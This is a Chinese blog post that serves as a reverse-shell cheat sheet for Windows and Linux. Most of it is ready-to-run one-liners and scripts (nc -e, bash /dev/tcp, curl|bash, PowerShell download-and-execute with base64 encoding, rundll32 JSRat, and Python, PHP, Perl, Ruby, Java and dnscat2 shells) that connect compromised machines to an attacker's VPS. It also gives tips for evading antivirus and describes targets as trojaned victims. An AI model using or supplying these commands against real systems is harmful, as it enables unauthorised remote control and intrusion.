反弹shell小结

本文仅作为学习记录,如果侵权,请联系删除。
概念理解:

反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

为什么要反弹shell:

通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?

有如下情况:

1.某客户机中了你的木马,但是它在局域网内,你直接连接不了。
2.目标机器的ip动态改变,你不能持续控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
简而言之,反弹shell就是要我们的vps服务器设置监听,然后让服务器反弹一个shell来连接我们自己的主机,从而使我们能远程控制我们的主机

shell类型:
  1. 正向shell:客户端主动连接获取服务器shell
    服务端执行:
nc -lvp 8888 -e /bin/sh       # Linux
nc -lvp 8888 -e c:\windows\system32\cmd.exe       #Windows

nc可以作为server以TCP或UDP方式侦听指定端口
-l 监听模式,-v 输出交互或出错信息,-p 监听的本地端口,-e 连接后执行的进程(shell)

客户端执行:

nc 服务端ip 8888

服务端成功接收,客户端执行命令成功。

  1. 反向shell:理解了上面的正向shell,反向shell自然就懂了
客户端:
nc -lvp 8888 

服务端:
nc 客户端ip 8888 -e /bin/sh 
nc 客户端ip 8888 -e c:\windows\system32\cmd.exe 

成功反弹:

当然由于各种环境不同,服务端不一定有nc,所以还要靠其他手段各显神通。

Windows常见反弹shell手段:

nc反弹cmd:

项目地址:https://eternallybored.org/misc/netcat/

nc vps-ip 1024 -e c:\windows\system32\cmd.exe
powershell反弹cmd:

powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c vps-ip -p 8000 -e cmd

#或者下载以后执行
powershell Import-Module .\powercat.ps1;powercat -c 119.x.x.x -p 8000 -e cmd
powershell反弹powershell:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress vps-ip -port 8000

注意某些特殊情况需要将powershell脚本进行base64编码,才能成功反弹。比如sqlserver的命令执行、php中system函数的执行

base64编码处理:

$text="IEX((New-Object System.Net.WebClient).DownloadString('http://192.168.203.140/a.ps1'))"
$Bytes=[System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText > bs64.txt

目标机器执行:

powershell -exec bypass -encodedcommand base64.txt
python反弹cmd:

适用于Python2环境

# -*- coding:utf-8 -*-
import os
import select
import socket
import sys
import subprocess

def ReserveConnect(addr, port):
    '''反弹连接shell'''
    try:
        shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        shell.connect((addr,port))
    except Exception as reason:
        print ('[-] Failed to Create Socket : %s'%reason)
        exit(0)
    rlist = [shell]
    wlist = []
    elist = [shell]
    while True:
        shell.send("cmd:")
        rs,ws,es = select.select(rlist,wlist,wlist)
        for sockfd in rs:
            if sockfd == shell:
                command = shell.recv(1024)
                if command == 'exit':
                    shell.close()
                    break
                result, error = subprocess.Popen(command,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE).communicate()
                shell.sendall(result.decode("GB2312").encode("UTF-8"))

# 主函数运行
def run():
    if len(sys.argv)<3:
        print('Usage: python reverse.py [IP] [PORT]')
    else:
        url = sys.argv[1]
        port = int(sys.argv[2])
        ReserveConnect(url,port)

if __name__ == '__main__':
    run()

考虑实战中可能没有python环境
可以先在本地上使用pyinstaller将改文件打包为exe文件,直接上传exe运行即可。(推荐使用)

#python默认不安装pyinstaller
pip install pyinstaller

#使用pyinstaller把py文件打包成exe文件
pyinstaller -Fw test666.py

实际测试bypass av效果也比较好。

dll反弹cmd

其实msf有相应的模块可以生成dll,没事也可以用用这个小工具,轻便快捷,一键操作,免杀能力一般,但起码比msf强,msf生成的基本会被通杀。

将生成的dll文件上传至被攻击端
运行命令:

regsvr32.exe /s /u server.dll

攻击端用nc监听,即可反弹cmd

rundll32命令:

github项目地址:https://github.com/Ridter/MyJSRat

攻击端运行:

python MyJSRat.py -i  192.168.107.129 -p  8080

被控端运行:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.107.129:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

Linux常见反弹shell手段:

首先在目标上查看相关命令是否存在:

whereis nc bash python php exec perl

某些目标的 nc 不支持 -e 参数,有两个解决思路
要么使用其他版本的 nc:

sudo apt install netcat-traditional
nc.traditional <your_vps> 1024 -e /bin/sh

要么配合命名管道进行反弹:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc <your_vps> 1024 >/tmp/f
用 bash 反弹:
/bin/bash -i >& /dev/tcp/<your_vps>/1024 0>&1

curl配合bash反弹:

首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:

bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1

然后再目标机上执行如下,即可反弹shell:

curl 47.xxx.xxx.72|bash

补充:curl IP|bash中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等

用Python反弹(优先使用,ctrl+c无法关闭):
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your_vps>",1024));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
用php反弹(优先使用,ctrl+c无法关闭):
php -r '$sock=fsockopen("<your_vps>",1024);exec("/bin/sh -i <&3 >&3 2>&3");'
用 exec 反弹:
0<&196;exec 196<>/dev/tcp/<your_vps>/1024; sh <&196 >&196 2>&196
用 ruby反弹:
ruby -rsocket -e 'c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
# 或者
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
用 telnet 反弹:
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet <your_vps> 1024 > f
用 perl 反弹(优先使用,ctrl+c无法关闭):
perl -e 'use Socket;$i="<your_vps>";$p=1024;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
用 Awk 反弹:
awk 'BEGIN {s = "/inet/tcp/0/<your_vps>/1024"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
用 TCLsh 反弹:
echo 'set s [socket <your_vps> 1024];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh
用 socat 反弹(优先使用,ctrl+c无法关闭):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<your_vps>:1024
用 NodeJS 反弹(推荐优先使用):
require('child_process').exec('nc -e /bin/sh <your_vps> 1024')
用 java 反弹:
public class Revs {
    /**
    * @param args
    * @throws Exception 
    */
public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/<your_vps>/1024;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

保存为Revs.java文件,编译执行,成功反弹shell。

javac Revs.java 
java Revs
Dnscat反弹shell:

项目地址:https://github.com/iagox86/dnscat2

# 服务端:
ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open 

# 目标主机:
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx
Linux下python反弹shell:
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
    server=socket(AF_INET,SOCK_STREAM)
    server.bind(('0.0.0.0',8888))
    server.listen(5)
    print 'waiting for connect'
    talk, addr = server.accept()
    print 'connect from',addr
    proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
           stdout=talk, stderr=talk, shell=True)

具体原理请参考:python正向连接后门

最后,推荐一个一键在线生成反弹shell网站:
https://krober.biz/misc/reverse_shell.php

参考如下:

windows命令行反弹shell(一)
Windows/Linux 下nc 反弹shell
反弹shell原理与实现
Reverse shell cheatsheet
反弹shell的各种姿势

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
禁止转载,如需转载请通过简信或评论联系作者。
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,383评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,522评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,852评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,621评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,741评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,929评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,076评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,803评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,265评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,582评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,716评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,395评论 4 333
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,039评论 3 316
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,798评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,027评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,488评论 2 361
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,612评论 2 350

推荐阅读更多精彩内容